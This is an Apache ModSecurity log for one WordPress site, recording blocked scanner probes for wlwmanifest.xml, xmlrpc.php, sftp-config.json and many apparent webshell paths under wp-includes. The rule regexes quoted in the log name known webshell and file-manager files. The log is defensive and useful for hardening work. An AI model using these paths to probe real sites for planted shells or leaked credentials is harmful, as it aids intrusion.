[Mon Apr 20 11:03:25.183524 2026] [:error] [pid 11351:tid 11389] [client 34.30.92.68:51936] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfQN8Z1-vktaI_tNeZAAAAEI"]
[Mon Apr 20 11:03:25.809795 2026] [:error] [pid 11350:tid 11366] [client 34.30.92.68:49255] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aeWXff4EoMBgOJuJnT0NNwAAAAc"]
[Mon Apr 20 11:03:25.997089 2026] [:error] [pid 11351:tid 11406] [client 34.30.92.68:56564] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfQN8Z1-vktaI_tNeZgAAAFM"]
[Mon Apr 20 11:03:26.607217 2026] [:error] [pid 11350:tid 11376] [client 34.30.92.68:58011] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfv4EoMBgOJuJnT0NOAAAABE"]
[Mon Apr 20 11:03:26.807634 2026] [:error] [pid 11352:tid 11423] [client 34.30.92.68:51352] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aeWXfml10mhMSfJ7ir8-HAAAAIk"]
[Mon Apr 20 11:03:27.430379 2026] [:error] [pid 11350:tid 11361] [client 34.30.92.68:51188] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aeWXf_4EoMBgOJuJnT0NOgAAAAI"]
[Mon Apr 20 11:03:27.618715 2026] [:error] [pid 11350:tid 11377] [client 34.30.92.68:57992] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aeWXf_4EoMBgOJuJnT0NPAAAABI"]
[Mon Apr 20 11:03:28.258281 2026] [:error] [pid 11350:tid 11359] [client 34.30.92.68:59755] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aeWXgP4EoMBgOJuJnT0NQAAAAAA"]
[Mon Apr 20 11:03:28.449867 2026] [:error] [pid 11441:tid 11447] [client 34.30.92.68:63332] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aeWXgMixByFUvmh319CmXQAAAMQ"]
[Mon Apr 20 11:03:29.063819 2026] [:error] [pid 11441:tid 11445] [client 34.30.92.68:58683] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aeWXgcixByFUvmh319CmYQAAAMI"]
[Mon Apr 20 11:03:29.248165 2026] [:error] [pid 11352:tid 11434] [client 34.30.92.68:60055] [client 34.30.92.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aeWXgWl10mhMSfJ7ir8-IwAAAJQ"]
[Mon Apr 20 11:33:14.443036 2026] [:error] [pid 11352:tid 11436] [client 223.185.130.125:26623] [client 223.185.130.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.130.125, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeWeeml10mhMSfJ7ir9I1QAAAJY"]
[Mon Apr 20 12:37:38.896562 2026] [:error] [pid 42014:tid 42025] [client 49.51.253.26:59650] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeWtksek-00-ZI0f1NrSlgAAAQk"]
[Mon Apr 20 13:35:30.245344 2026] [:error] [pid 42014:tid 42028] [client 103.65.237.216:55160] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aeW7Isek-00-ZI0f1NrwBAAAAQw"]
[Mon Apr 20 13:51:30.569391 2026] [:error] [pid 11441:tid 11450] [client 43.135.183.82:34014] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeW-4sixByFUvmh319AAzAAAAMc"]
[Mon Apr 20 14:52:48.627507 2026] [:error] [pid 11351:tid 11390] [client 89.251.0.69:45587] [client 89.251.0.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeXNQAN8Z1-vktaI_tOVkgAAAEM"]
[Mon Apr 20 14:52:49.854706 2026] [:error] [pid 11350:tid 11376] [client 89.251.0.52:56587] [client 89.251.0.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeXNQf4EoMBgOJuJnT07aQAAABE"]
[Mon Apr 20 14:52:51.644651 2026] [:error] [pid 42014:tid 42037] [client 89.251.0.62:28303] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeXNQ8ek-00-ZI0f1NoXKAAAARU"]
[Mon Apr 20 14:52:53.413628 2026] [:error] [pid 42014:tid 42020] [client 89.251.0.40:46105] [client 89.251.0.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeXNRcek-00-ZI0f1NoXMAAAAQQ"]
[Mon Apr 20 14:52:55.403931 2026] [:error] [pid 11441:tid 11457] [client 89.251.0.56:38587] [client 89.251.0.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeXNR8ixByFUvmh319AVcgAAAM4"]
[Mon Apr 20 14:52:56.111438 2026] [:error] [pid 11352:tid 11416] [client 89.251.0.42:59813] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeXNSGl10mhMSfJ7ir-KRQAAAII"]
[Mon Apr 20 14:52:56.607990 2026] [:error] [pid 11352:tid 11432] [client 89.251.0.53:35259] [client 89.251.0.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeXNSGl10mhMSfJ7ir-KRgAAAJI"]
[Mon Apr 20 14:52:57.078754 2026] [:error] [pid 42014:tid 42039] [client 89.251.0.66:23147] [client 89.251.0.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeXNScek-00-ZI0f1NoXNQAAARc"]
[Mon Apr 20 14:52:57.520183 2026] [:error] [pid 6928:tid 6941] [client 89.251.0.44:26707] [client 89.251.0.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeXNSR3y7MHq1iB0qYoiZgAAAUs"]
[Mon Apr 20 14:52:58.078052 2026] [:error] [pid 6928:tid 6940] [client 89.251.0.62:42525] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeXNSh3y7MHq1iB0qYoibQAAAUo"]
[Mon Apr 20 14:52:58.795162 2026] [:error] [pid 42014:tid 42023] [client 89.251.0.42:40109] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeXNSsek-00-ZI0f1NoXOgAAAQc"]
[Mon Apr 20 14:52:59.704695 2026] [:error] [pid 6928:tid 6930] [client 89.251.0.49:45317] [client 89.251.0.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aeXNSx3y7MHq1iB0qYoigwAAAUA"]
[Mon Apr 20 14:53:00.616907 2026] [:error] [pid 6928:tid 6948] [client 89.251.0.67:60963] [client 89.251.0.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeXNTB3y7MHq1iB0qYoikgAAAVI"]
[Mon Apr 20 14:53:01.337386 2026] [:error] [pid 6928:tid 6937] [client 89.251.0.40:44635] [client 89.251.0.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeXNTR3y7MHq1iB0qYoinwAAAUc"]
[Mon Apr 20 14:53:02.036650 2026] [:error] [pid 11441:tid 11466] [client 89.251.0.75:49091] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeXNTsixByFUvmh319AVhQAAANc"]
[Mon Apr 20 14:53:04.176945 2026] [:error] [pid 11441:tid 11445] [client 89.251.0.44:38205] [client 89.251.0.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeXNUMixByFUvmh319AVlgAAAMI"]
[Mon Apr 20 14:53:04.840664 2026] [:error] [pid 11441:tid 11457] [client 89.251.0.42:59517] [client 89.251.0.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeXNUMixByFUvmh319AVmgAAAM4"]
[Mon Apr 20 14:53:05.750803 2026] [:error] [pid 11352:tid 11438] [client 89.251.0.61:48711] [client 89.251.0.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aeXNUWl10mhMSfJ7ir-KZAAAAJg"]
[Mon Apr 20 14:53:06.487704 2026] [:error] [pid 42014:tid 42028] [client 89.251.0.60:44125] [client 89.251.0.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aeXNUsek-00-ZI0f1NoXQAAAAQw"]
[Mon Apr 20 14:53:07.839204 2026] [:error] [pid 6928:tid 6935] [client 89.251.0.62:20075] [client 89.251.0.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeXNUx3y7MHq1iB0qYoixAAAAUU"]
[Mon Apr 20 14:53:08.495733 2026] [:error] [pid 11350:tid 11373] [client 89.251.0.70:56097] [client 89.251.0.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeXNVP4EoMBgOJuJnT07cwAAAA4"]
[Mon Apr 20 14:53:09.149194 2026] [:error] [pid 11351:tid 11392] [client 89.251.0.45:39215] [client 89.251.0.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeXNVQN8Z1-vktaI_tOVrwAAAEU"]
[Mon Apr 20 14:53:09.615165 2026] [:error] [pid 11441:tid 11467] [client 89.251.0.61:59541] [client 89.251.0.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeXNVcixByFUvmh319AVngAAANg"]
[Mon Apr 20 14:53:10.051122 2026] [:error] [pid 11351:tid 11400] [client 89.251.0.66:45485] [client 89.251.0.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeXNVgN8Z1-vktaI_tOVsAAAAE0"]
[Mon Apr 20 14:53:11.125575 2026] [:error] [pid 11351:tid 11395] [client 89.251.0.57:44081] [client 89.251.0.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aeXNVwN8Z1-vktaI_tOVtAAAAEg"]
[Mon Apr 20 14:53:11.603779 2026] [:error] [pid 42014:tid 42036] [client 89.251.0.65:31481] [client 89.251.0.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aeXNV8ek-00-ZI0f1NoXTQAAARQ"]
[Mon Apr 20 14:53:12.056909 2026] [:error] [pid 11351:tid 11401] [client 89.251.0.74:24083] [client 89.251.0.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeXNWAN8Z1-vktaI_tOVtwAAAE4"]
[Mon Apr 20 14:53:14.334398 2026] [:error] [pid 11441:tid 11463] [client 89.251.0.67:24165] [client 89.251.0.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aeXNWsixByFUvmh319AVpwAAANQ"]
[Mon Apr 20 14:53:15.524083 2026] [:error] [pid 6928:tid 6949] [client 89.251.0.75:26777] [client 89.251.0.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.75, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeXNWx3y7MHq1iB0qYoizwAAAVM"]
[Mon Apr 20 14:53:18.174141 2026] [:error] [pid 6928:tid 6940] [client 89.251.0.75:26777] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeXNXh3y7MHq1iB0qYoi3gAAAUo"]
[Mon Apr 20 14:53:19.179724 2026] [:error] [pid 11441:tid 11447] [client 89.251.0.39:55097] [client 89.251.0.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeXNX8ixByFUvmh319AVrQAAAMQ"]
[Mon Apr 20 14:53:19.618486 2026] [:error] [pid 11441:tid 11445] [client 89.251.0.39:55097] [client 89.251.0.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aeXNX8ixByFUvmh319AVrwAAAMI"]
[Mon Apr 20 14:53:22.153103 2026] [:error] [pid 42014:tid 42020] [client 89.251.0.43:32567] [client 89.251.0.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeXNYsek-00-ZI0f1NoXbgAAAQQ"]
[Mon Apr 20 14:53:24.496054 2026] [:error] [pid 6928:tid 6944] [client 89.251.0.58:53141] [client 89.251.0.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeXNZB3y7MHq1iB0qYoi7QAAAU4"]
[Mon Apr 20 14:53:25.385088 2026] [:error] [pid 6928:tid 6940] [client 89.251.0.59:42911] [client 89.251.0.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeXNZR3y7MHq1iB0qYoi8wAAAUo"]
